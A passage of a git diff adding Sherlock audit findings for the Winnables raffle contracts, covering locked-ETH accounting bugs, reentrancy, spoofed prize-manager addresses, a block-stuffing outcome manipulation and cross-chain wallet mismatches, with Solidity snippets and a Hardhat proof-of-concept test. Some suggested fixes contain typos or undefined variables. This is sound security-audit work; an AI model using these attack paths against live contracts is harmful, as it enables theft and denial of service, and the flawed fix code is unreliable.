less than the contracts balance this will result in the `withdrawETH()` function transferring incorrect amounts. + +### Root Cause + +In [`WinnablesTicketManager.sol:215`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesTicketManager.sol#L215-L228) the `refundPlayers()` function refunds users when a raffle is cancelled. However this function does not reduce the `_lockedETH` amount by the amount that is refunded to users. +```solidity + function refundPlayers(uint256 raffleId, address[] calldata players) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.CANCELED) revert InvalidRaffle(); + for (uint256 i = 0; i < players.length; ) { + address player = players[i]; + uint256 participation = uint256(raffle.participations[player]); + if (((participation >> 160) & 1) == 1) revert PlayerAlreadyRefunded(player); + raffle.participations[player] = bytes32(participation | (1 << 160)); + uint256 amountToSend = (participation & type(uint128).max); + _sendETH(amountToSend, player); + emit PlayerRefund(raffleId, player, bytes32(participation)); + unchecked { ++i; } + } + } +``` + +### Internal pre-conditions + +1. Admin needs to start a raffle +2. Users needs to buy tickets in this raffle +3. Admin needs to cancel this raffle with valid reasons +4. Anyone should call the `refundPlayers()` function + +### External pre-conditions + +_No response_ + +### Attack Path + +When a raffle is created and users buy tickets for this raffle, `_lockedETH` value increases by the `msg.value` in the [`buyTickets()`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesTicketManager.sol#L182-L210) function shown below. +```solidity + function buyTickets( + uint256 raffleId, + uint16 ticketCount, + uint256 blockNumber, + bytes calldata signature + ) external payable { + //rest of the function + unchecked { + raffle.totalRaised += msg.value; + _userNonces[msg.sender]++; + _lockedETH += msg.value; + } + //rest of the function + } +``` +When this raffle is cancelled and users are refunded with the [`refundPlayers()`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesTicketManager.sol#L215-L228) function shown below: +```solidity + function refundPlayers(uint256 raffleId, address[] calldata players) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.CANCELED) revert InvalidRaffle(); + for (uint256 i = 0; i < players.length; ) { + address player = players[i]; + uint256 participation = uint256(raffle.participations[player]); + if (((participation >> 160) & 1) == 1) revert PlayerAlreadyRefunded(player); + raffle.participations[player] = bytes32(participation | (1 << 160)); + uint256 amountToSend = (participation & type(uint128).max); + _sendETH(amountToSend, player); + emit PlayerRefund(raffleId, player, bytes32(participation)); + unchecked { ++i; } + } + } +``` +We can observe that the `_lockedETH` amount is not decreased by the refunded amount. +Taking a look at the [`withdrawETH()`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesTicketManager.sol#L300-L306) function: +```solidity + function withdrawETH() external onlyRole(0) { + uint256 balance; + unchecked { + balance = address(this).balance - _lockedETH; + } + _sendETH(balance, msg.sender); + } +``` +We can observe that the amount that will be sent to the admin is `Contract's balance - _lockedETH`. As the contract does not have a `fallback()` function, only way for this contract to receive funds is buying tickets meaning that the `_lockedETH` amount will always be greater than the contract's balance. This will cause the calculation to return a wrong value due to unchecked math's underflow and calls to send ETH will fail due to the contract not having enough balance. In an edge case where underflowing calculation of `Contract's balance - _lockedETH` is less than the contract balance, this function will instead send the funds that should be locked to the admin. + +### Impact + +`withdrawETH()` function will always revert or in an edge case transfer incorrect amounts which can include amounts that should be locked during a raffle. `_lockedETH` variable's value will be always be incorrect. + +### PoC + +1. Implement a getter function for `_lockedETH` to see it in logs. +2. Change the following test as shown in `TicketManager.js` file and run it to observe the vulnerability. +```jsx + it('Should be able to refund tickets purchased', async () => { + const contractBalanceBefore = await ethers.provider.getBalance(manager.address); + const userBalanceBefore = await ethers.provider.getBalance(buyer2.address); + const tx = await manager.refundPlayers(1, [buyer2.address]); + const { events } = await tx.wait(); + expect(events).to.have.lengthOf(1); + const [ event ] = events; + expect(event.event).to.equal('PlayerRefund'); + const contractBalanceAfter = await ethers.provider.getBalance(manager.address); + const userBalanceAfter = await ethers.provider.getBalance(buyer2.address); + expect(contractBalanceAfter).to.eq(contractBalanceBefore.sub(100)); + expect(userBalanceAfter).to.eq(userBalanceBefore.add(100)); + const { withdrawn } = await manager.getParticipation(1, buyer2.address); + expect(withdrawn).to.eq(true); + console.log("locked ETH:", await manager.getLockedETH()); + console.log("contract balance:", await ethers.provider.getBalance(manager.address)); + await expect(manager.withdrawETH()).to.be.revertedWithCustomError(manager, 'ETHTransferFail'); + }); +``` +Test can be adjusted by implementing a `fallback()` function, sending various amounts of ETH in the test to the contract to see that either `amount - _lockedETH` will be transferred in `withdrawETH()` or call will fail if sent ETH is less than the `_lockedETH`. + +### Mitigation + +Correctly deduct the refunded amounts from the `_lockedETH`. \ No newline at end of file diff --git a/001/235.md b/001/235.md new file mode 100644 index 0000000..a6b9241 --- /dev/null +++ b/001/235.md @@ -0,0 +1,48 @@ +Beautiful Maroon Hawk + +High + +# WINNER CAN CLAIM UNLIMITED PRIZE BY REENTRANCY + +## Summary +The `claimPrize` function sends the price to its winners, the function does not follow the check-effects-interaction pattern. It allows the winner to receive their prize before updating the rafflePrize status. +## Vulnerability Detail +A winner can call the claimPrize function with a malicious contract to reenter the contract thus withdrawing all the amount of their raffleType. The winner can withdraw all ETH, NFTs or Tokens +## Impact +Protocol will loss funds +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L105-L124 +## Tool used + +Manual Review + +## Recommendation +Rephrase the claimPrize function this way + + +```solidity +function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; ++ if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); ++ if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); ++ rafflePrize.status = RafflePrizeStatus.CLAIMED; + + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (ra funffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); +- if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); +- if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); +- rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); + } +``` \ No newline at end of file diff --git a/001/237.md b/001/237.md new file mode 100644 index 0000000..40b31cf --- /dev/null +++ b/001/237.md @@ -0,0 +1,121 @@ +Custom Rosewood Bear + +High + +# Missing updates to `_lockedETH` state variable in the `WinnablesTicketManager.refundPlayer` function lead to loss of funds + +### Summary + +The `WinnablesTicketManager.refundPlayer` does not update `_lockedETH` state variable after processing a refund, resulting in the `_lockedETH` value to be more than the actual value. As a result, the difference amount will be indefinitely locked in the `WinnablesTicketManager` contract. + +### Description + +The `_lockedETH` represents part of the `WinnablesTicketManager` contract balance that is inaccessible to the protocol admin. The `ETH` used to buy the tickets for an ongoing raffle is considered locked till the winner is declared. + +A snippet of [`WinnablesTicketManager.buyTickets`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L206) that locks the received ETH + +```solidity + function buyTickets( + [...] + ) + unchecked { + [...] + _lockedETH += msg.value; + } +``` + +If the sale for the raffle succeeds then the winner is declared and the contract makes the ETH raised from the sale available to the protocol team by updating the `_lockedETH` value. + + A snippet of [`WinnablesTicketManager.propagatePrizeWinner`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334-L343) unlocking the locked ETH + +```solidity + function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + // [...] + address winner = _getWinnerByRequestId(raffle.chainlinkRequestId); + + _sendCCIPMessage(prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.WINNER_DRAWN), raffleId, winner)); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + unchecked { + _lockedETH -= raffle.totalRaised; +``` + +The protocol admin can then withdraw the ETH from ticket sales using the [`WinnablesTicketManager.withdrawETH`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L300-L306) function: + +```solidity + function withdrawETH() external onlyRole(0) { + uint256 balance; + unchecked { + balance = address(this).balance - _lockedETH; + } + _sendETH(balance, msg.sender); + } +``` + +If the raffle is cancelled then the buyers can get refund by calling the [`WinnablesTicketManager.refundPlayers`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L215-L227) function: + +```solidity + function refundPlayers(uint256 raffleId, address[] calldata players) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.CANCELED) revert InvalidRaffle(); + for (uint256 i = 0; i < players.length; ) { + address player = players[i]; + uint256 participation = uint256(raffle.participations[player]); + if (((participation >> 160) & 1) == 1) revert PlayerAlreadyRefunded(player); + raffle.participations[player] = bytes32(participation | (1 << 160)); + uint256 amountToSend = (participation & type(uint128).max); + _sendETH(amountToSend, player); + emit PlayerRefund(raffleId, player, bytes32(participation)); + unchecked { ++i; } + } + } +``` + +The `refundPlayers` function is transferring locked ETH from the ticket sale. However, the function is not updating the `_lockedETH` state variable. As a result, the contract considers more ETH to be locked than the actual with the difference equal to the refunded amount. + +The ETH unlocked from other winning raffles gets locked because of this difference. + +Exploit scenario: + +Assume `_lockedETH = 15 ETH` and `address(WinnablesTicketManager).balance = 15 ETH` at time T0 + +1. T0. Admin creates three raffles A, B and C. A and B end before C. +2. T1. Users buy tickets worth of `11 ETH` for raffle `A`, tickets worth of `10 ETH` for raffle `B`. + - `_lockedETH = 15 + 11 + 10 ETH = 36 ETH`, `balance = 36 ETH` +3. T2. Raffle `A` and `B` end without meeting the `minThresholdTickets` limit and the raffles are cancelled. +4. T3. Users withdraw locked ETH using the `refundPlayers` function for raffle `A` and `B` + - `_lockedETH = 36 ETH`, `balance = 15 ETH` +5. T4. Users buy tickets worth of `20 ETH` for raffle `C` + - `_lockedETH = 36 + 20 ETH`, `balance = 35 ETH`. +6. T5. Raffle `C` ends and meets the threshold requirements. Winner is propagated and the ETH from ticket sales becomes unlocked + - `_lockedETH = 36 ETH`, `balance = 35 ETH`. +7. The protocol admin cannot withdraw the ETH from ticket sales of raffle `C`. + +The `_lockedETH` should be `15 ETH`. however it is `36 ETH` == `15 ETH`(correct `_lockedETH`) + `11 + 10 ETH` (refunded amount from cancelled raffles). + +### Root Cause + +The [`WinnablesTicketManager.refundPlayers`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L215-L227) function does not subtract refunded amount from the `_lockedETH` state variable. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +The amount equal to the refunded amount for cancelled raffles of the ticket sales becomes locked in the `WinnablesTicketManager` contract. + +### PoC + +_No response_ + +### Mitigation + +Subtract the refunded amount from the `_lockedETH` value in the `refundPlayers` function \ No newline at end of file diff --git a/001/238.md b/001/238.md new file mode 100644 index 0000000..9a136a6 --- /dev/null +++ b/001/238.md @@ -0,0 +1,329 @@ +Sleepy Umber Shrimp + +High + +# Permanently blocking fair winners from claiming their prizes and getting propagated; and fair users -- from cancelling their raffles -- by maliciously constructing a fake prizeManager contract + +## Summary +Fair users may get DoS'ed (maliciously blocked) from cancelling their raffles and propagating the winner of a raffle to the Ethereum-based `WinnablesPrizeManager` contract. + +The problem is due to a missing sanitization of the `prizeManager` argument in the Avalance-based `WinnablesTicketManager` contract's functions, namely in `propagateRaffleWinner` and `cancelRaffle`. + +## Vulnerability Detail +While the `WinnablesTicketManager`'s `_ccipReceive` function is inherited and implemented to sanitize the the `counterpart` appropriately: +```solidity + bytes32 counterpart = _packCCIPContract(_senderAddress, message.sourceChainSelector); + if (!_ccipContracts[counterpart]) revert UnauthorizedCCIPSender(); +``` +, the `_ccipSend` function can arbitrary transmit messages to any user-specified `prizeManager`, as long as the `prizeManager` is not `address(0)`. + +And while the **real** integrated `WinnablesPrizeManager` will not be notified about the `RAFFLE_CANCELLED` or `WINNER_DRAWN` action and the intent, **the respective effects, such as decreasing the `_lockedETH` global state variable and setting the raffle's raffles[raffleId].status to `RaffleStatus.CANCELED`**. + +## Impact +1. If targeted maliciously, this leads to a permanent DoS of the ability to cancel a raffle properly and notify the Ethereum-based `WinnablesPrizeManager` about that happening (because the **raffle**'s status will be switched to CANCELED, and the _checkShouldCancel pre-condition check will always fail to double-cancel a raffle because it requires the raffle.status to be either RaffleStatus.PRIZE_LOCKED or RaffleStatus.IDLE); +2. There's a 100% attacker-controlled way and ability to block the fair winners from getting propagated to the Ethereum-based WinnablesPrizeManager contract side, too. And this will, of course, lead to them not being able to claim their fair prices, etc. + +## Code Snippet +```solidity + /// @notice (Public) Cancel a raffle if it can be canceled + /// @param raffleId ID of the raffle to cancel + function cancelRaffle(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + _checkShouldCancel(raffleId); + + _raffles[raffleId].status = RaffleStatus.CANCELED; + + _sendCCIPMessage( + prizeManager, + chainSelector, + abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), raffleId) + ); + + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + } +``` + +```solidity + /// @notice (Public) Send a cross-chain message to the Prize Manager to + /// mark the prize as claimable by the winner + /// @param raffleId ID of the Raffle we wish to draw a winner for + function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.FULFILLED) revert InvalidRaffleStatus(); + raffle.status = RaffleStatus.PROPAGATED; + address winner = _getWinnerByRequestId(raffle.chainlinkRequestId); + + _sendCCIPMessage(prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.WINNER_DRAWN), raffleId, winner)); + + + + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + unchecked { + _lockedETH -= raffle.totalRaised; + } + } +``` + +## PoC +
    +
  1. An attacker creates a fake "WinnablesPrizeManager" contract on any of the Chainlink Router's supported chains (as far as I can see now, it doesn't even have to be deployed on Ethereum specifically);

    + +
  2. +
  3. The attacker has his fake contract ready to be impersonating the prizeManager address.

    +
  4. Now he either picks the right moment for the attack, or front-runs the victim's transaction -- it can happen in both cases when the time and state is applicable, as in particularly:

    + + +
  5. +
  6. +

    The attacker calls the PERMISSIONLESS (!) functions as usual, with the exception of passing the malicious prizeManager contract address in the arguments, for his malicious contract to be notified instead of the real WinnablesPrizeManager getting notified.

    + +
  7. +
+ +# To elaborate on why it causes a permanent DoS and why the issue is indeed severe: +
    +
  1. +If the cancelRaffle function is front-run with the malicious and attacker-controlled prizeManager address, the raffles[raffleId] status will be set to CANCELED, and the pre-condition checks in the _checkShouldCancel sequence will always revert if a FAIR USER attempts to re-cancel with a valid prizeManager contract and chainSelector: + + +```solidity + function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); + } +``` + +Nor a fair user, nor ANYONE else will be able to cancel properly, and the victim raffle will be just blocked from further any actions on its behalf. +
  2. +
  3. +If the propagateRaffleWinner function is targeted maliciously, then any further propagation attempts will fail due to a revert here in the status assertion check:: + +```solidity + if (raffle.status != RaffleStatus.FULFILLED) revert InvalidRaffleStatus(); +``` + +in: + +```solidity + /// @notice (Public) Send a cross-chain message to the Prize Manager to + /// mark the prize as claimable by the winner + /// @param raffleId ID of the Raffle we wish to draw a winner for + function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.FULFILLED) revert InvalidRaffleStatus(); + raffle.status = RaffleStatus.PROPAGATED; + address winner = _getWinnerByRequestId(raffle.chainlinkRequestId); + + _sendCCIPMessage(prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.WINNER_DRAWN), raffleId, winner)); + + + + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + unchecked { + _lockedETH -= raffle.totalRaised; + } + } +``` +
  4. +
  5. +Also, the _lockedETH value will be inflated as well! +
  6. +
+ +As you can verify, the `_ccipSend` function doesn't check the validity of the `ccipDestAddress`: + +```solidity + function _sendCCIPMessage( + address ccipDestAddress, + uint64 ccipDestChainSelector, + bytes memory data + ) internal returns(bytes32 messageId) { + if (ccipDestAddress == address(0) || ccipDestChainSelector == uint64(0)) { + revert MissingCCIPParams(); + } + + // Send CCIP message to the desitnation contract + IRouterClient router = IRouterClient(CCIP_ROUTER); + LinkTokenInterface linkToken = LinkTokenInterface(LINK_TOKEN); + + Client.EVM2AnyMessage memory message = Client.EVM2AnyMessage({ + receiver: abi.encode(ccipDestAddress), + data: data, + tokenAmounts: new Client.EVMTokenAmount[](0), + extraArgs: "", + feeToken: LINK_TOKEN + }); + + uint256 fee = router.getFee( + ccipDestChainSelector, + message + ); + uint256 currentLinkBalance = linkToken.balanceOf(address(this)); + + if (fee > currentLinkBalance) { + revert InsufficientLinkBalance(currentLinkBalance, fee); + } + + messageId = router.ccipSend( + ccipDestChainSelector, + message + ); + } +``` + +--- + +Normally, the following code on the `WinnablesPrizeManager` behalf would be executed if the proper `prizeManager` and `chainSelector` were passed to these functions: + +```solidity + /// @notice Callback called by CCIP Router. Receives CCIP message and handles it + /// @param message CCIP Message + function _ccipReceive( + Client.Any2EVMMessage memory message + ) internal override { + (address _senderAddress) = abi.decode(message.sender, (address)); + bytes32 counterpart = _packCCIPContract(_senderAddress, message.sourceChainSelector); + if (!_ccipContracts[counterpart]) revert UnauthorizedCCIPSender(); + + CCIPMessageType messageType = CCIPMessageType(uint8(message.data[0])); + uint256 raffleId; + address winner; + if (messageType == CCIPMessageType.RAFFLE_CANCELED) { + raffleId = _decodeRaffleCanceledMessage(message.data); + + _cancelRaffle(raffleId); + return; + } + + (raffleId, winner) = _decodeWinnerDrawnMessage(message.data); + _rafflePrize[raffleId].winner = winner; + emit WinnerPropagated(raffleId, winner); + } +``` + +## Tool used +Manual Review. + +## Recommendation +
    +
  1. Implement proper prizeManager validation, for example, by introducing a whitelist for that purpose -- apparently, the best approach; + +The best way to modify the _ccipSend function would be adding the following (potentially lacking, not omitted by design?) check: + +```solidity + if (!_ccipContracts[ccipDestinationAddress]) revert UnauthorizedCCIPSender(); +``` + +Like the following example, my suggestion: +```solidity + function _sendCCIPMessage( + address ccipDestAddress, + uint64 ccipDestChainSelector, + bytes memory data + ) internal returns(bytes32 messageId) { + if (ccipDestAddress == address(0) || ccipDestChainSelector == uint64(0)) { + revert MissingCCIPParams(); + } + + if (!_ccipContracts[counterpart]) revert UnauthorizedCCIPSender(); + + // Send CCIP message to the desitnation contract + IRouterClient router = IRouterClient(CCIP_ROUTER); + LinkTokenInterface linkToken = LinkTokenInterface(LINK_TOKEN); + + Client.EVM2AnyMessage memory message = Client.EVM2AnyMessage({ + receiver: abi.encode(ccipDestAddress), + data: data, + tokenAmounts: new Client.EVMTokenAmount[](0), + extraArgs: "", + feeToken: LINK_TOKEN + }); + + uint256 fee = router.getFee( + ccipDestChainSelector, + message + ); + uint256 currentLinkBalance = linkToken.balanceOf(address(this)); + + if (fee > currentLinkBalance) { + revert InsufficientLinkBalance(currentLinkBalance, fee); + } + + messageId = router.ccipSend( + ccipDestChainSelector, + message + ); + } +``` + +
  2. +
  3. +Or, at the worst case, consider adding access control to the `propagateRaffleWinner` and `cancelRaffle` functions -- which, in my opinion, is not a good approach though, as it compromises the decentralization of the functions and the Winnables Raffles protocol as a whole. +
  4. +
+ +*Possibly the `ccipDestChainSelector` should be checked, too.* + + +## Code references +1. https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L334-L337 +2. https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L278-L281 +3. https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/BaseCCIPSender.sol#L15-L49 \ No newline at end of file diff --git a/001/239.md b/001/239.md new file mode 100644 index 0000000..87bcf6e --- /dev/null +++ b/001/239.md @@ -0,0 +1,86 @@ +Silly Burgundy Scallop + +Medium + +# Edge case allows users to decide the outcome of raffle + +## Summary + +Users can decide whether to cancel or draw the winner of the raffle when it has a non-zero `minTicketsThreshold`. + +## Vulnerability Detail + +Let's look at all the functions that perform checks for a given raffle in `WinnablesTicketManager`: `_checkTicketPurchaseable`, `_checkShouldDraw`, and `_checkShouldCancel` we see the same pattern. They can be called when `block.timestamp == raffle.endsAt`: + +```solidity +function _checkTicketPurchaseable(uint256 raffleId, uint256 ticketCount) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (block.timestamp > raffle.endsAt) revert RaffleHasEnded();//@audit can purchase at timestamp == endsAt + ...MORE CODE + } + +``` + +```solidity +function _checkShouldDraw(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + + if (block.timestamp < raffle.endsAt) { + if (currentTicketSold < raffle.maxTicketSupply) revert RaffleIsStillOpen(); + } + if (currentTicketSold < raffle.minTicketsThreshold) revert TargetTicketsNotReached(); + } + +``` + +```solidity +function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); + } + +``` + +Another pattern is the check for `minTicketsThreshold` in `_checkShouldDraw` and `_checkShouldCancel` - `supply == raffle.minTicketsThreshold` is not handled properly and both functions can be executed successfully when the supply is equal to the threshold. + +Knowing that any user can decide the outcome of a raffle that has non-zero `minTicketsThreshold` and the supply has not reached yet, so depending on the incentive he can decide whether to draw a winner or cancel the raffle. + +This can be used to grief users as the raffles are time-sensitive actions and cancel the raffle while indeed the `minTicketsThreshold` is reached as the supply is equal to it. Such actions can seriously harm the reputation of the protocol both for reward providers and ticket buyers. + +The most straightforward execution is user to request multiple signatures, covering a wide range of ticket numbers in advance, then wait until the raffle is about to end while also monitoring the supply, and he can simply frontrun **anyone** who is willing to buy tickets that will bring the supply above the minimum, making the raffle non-cancelable. Attacker then can [stuff the block](https://www.bitcoininsider.org/article/45905/anatomy-block-stuffing-attack) with dummy transactions + his `WinnablesTicketManager::buyTicket` + `WinnablesTicketManager::cancelRaffle`. Stuffing the block will ensure no `buyTickets` will be executed in the very last second of the raffle from anyone different than the attacker. + +This attack costs only gas, which is extremely low priced in Avalanche, to the executor, as the native assets used to buy the ticket can be refunded. + +Rough estimation of stuffing an entire block in Avalanche [source](https://snowtrace.io/gastracker/cost-actions) - transactions that use 1 mln gas cost ~$0.56, gas limit of block 30 mln = ~$16.8 + +## Impact + +Users can decide the outcome of the raffle due to missing check when `supply == minTicketsThreshold` in `WinnablesTicketManager::_checkShouldCancel`. + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L438-L439 + +## Tool used + +Manual Review + +## Recommendation + +In `_checkShouldCancel` replace the following lines: + +```diff +function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); +- if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); ++ if (raffle.endsAt >= block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); +- if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); ++ if (supply >= raffle.minTicketsThreshold) revert TargetTicketsReached(); + } +``` \ No newline at end of file diff --git a/001/240.md b/001/240.md new file mode 100644 index 0000000..da22b91 --- /dev/null +++ b/001/240.md @@ -0,0 +1,98 @@ +Generous Peanut Okapi + +Medium + +# When raffles are cancelled in `WinnablesTicketManager`, `_lockedETH` is not updated correspondingly + +### Summary + +When raffles are [cancelled](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278) in `WinnablesTicketManager`, `_lockedETH` is not updated correspondingly, this will cause actual balance in contract to be less than `_lockedETH`, and potential DoS. + +### Root Cause + +When users buy tickets, `_lockedETH` is incremented based on `msg.value` users have offered: + +```solidity + unchecked { + raffle.totalRaised += msg.value; + _userNonces[msg.sender]++; + _lockedETH += msg.value; + } +``` + +Also when raffles are cancelled, users' input will be refunded: + +```solidity + function refundPlayers(uint256 raffleId, address[] calldata players) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.CANCELED) revert InvalidRaffle(); + for (uint256 i = 0; i < players.length; ) { + address player = players[i]; + uint256 participation = uint256(raffle.participations[player]); + if (((participation >> 160) & 1) == 1) revert PlayerAlreadyRefunded(player); + raffle.participations[player] = bytes32(participation | (1 << 160)); + uint256 amountToSend = (participation & type(uint128).max); + _sendETH(amountToSend, player); + emit PlayerRefund(raffleId, player, bytes32(participation)); + unchecked { ++i; } + } + } +``` + +We can also see that, when raffles are cancelled, a cross-chain message is sent to the prize manager to notify such decision, and nothing else special: + +```solidity + function cancelRaffle(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + _checkShouldCancel(raffleId); + + _raffles[raffleId].status = RaffleStatus.CANCELED; + _sendCCIPMessage( + prizeManager, + chainSelector, + abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), raffleId) + ); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + } +``` + +We can notice that, when this happens, `_lockedETH` is not updated, but it should be, as the raffle is cancelled, and users' input shall be refunded. `_lockedETH` is, however, updated when raffles are propogated: + +```solidity + function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.FULFILLED) revert InvalidRaffleStatus(); + raffle.status = RaffleStatus.PROPAGATED; + address winner = _getWinnerByRequestId(raffle.chainlinkRequestId); + + _sendCCIPMessage(prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.WINNER_DRAWN), raffleId, winner)); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + unchecked { + _lockedETH -= raffle.totalRaised; + } + } +``` + + +### Internal pre-conditions + +A raffle is cancelled in the ticket manager contract + +### External pre-conditions + +Users start to withdraw their funds by calling `refundPlayers` + +### Attack Path + +_No response_ + +### Impact + +As `_lockedETH` is not updated, when `refundPlayers` is called, this will make actual balance to be less than `_lockedETH`, and when this happens a number of times, `withdrawETH` will be unable to work, as there will be no enough Ether to be withdrawn from. + +### PoC + +_No response_ + +### Mitigation + +Deduct `_lockedETH` either when raffles are cancelled, or during `refundPlayers` being called. \ No newline at end of file diff --git a/001/241.md b/001/241.md new file mode 100644 index 0000000..13d6ad1 --- /dev/null +++ b/001/241.md @@ -0,0 +1,129 @@ +Original Frost Wombat + +High + +# Winner Will Be Unable To Withdraw The Prize If Using An Account Abstraction, MultiSig, or Any Contract-Based Account with Different Crosschain Addresses + +### Summary + +Most Account Abstraction and MultiSig Wallets employ distinct addresses across different blockchain networks. As a result, if a winner utilizes such accounts or any similar contract-based account, they will encounter difficulties in claiming their prize through the `PrizeManager::claimPrize` function. This issue arises because there is no provision for administrators to access the prizes once a winner is determined and the raffle concludes, leading to the permanent locking of the prizes within the contract. + + +### Root Cause + +According to the documentation, the `WinnableTicketManager` contract resides on the Avalanche network. Upon receiving the random word, the administrator invokes the `propagateRaffleWinner` function to notify the `WinnablePrizeManager`, which is situated on the Ethereum network. The `propagateRaffleWinner` function retrieves the winner's address by invoking `_getWinnerByRequestId`, which, in turn, identifies the winner by interacting with the `WinnableTicket` contract, also located on the Avalanche network. Therefore, the winner's address pertains to the Avalanche network. However, when this address is transferred to Ethereum, it becomes ineffective since contract-based accounts often utilize alternative addresses across chains. +[LinkToCode](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334) +```javascript + function propagateRaffleWinner( + address prizeManager, + uint64 chainSelector, + uint256 raffleId + ) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.FULFILLED) + revert InvalidRaffleStatus(); + raffle.status = RaffleStatus.PROPAGATED; +@> address winner = _getWinnerByRequestId(raffle.chainlinkRequestId); + +@> _sendCCIPMessage( +@> prizeManager, 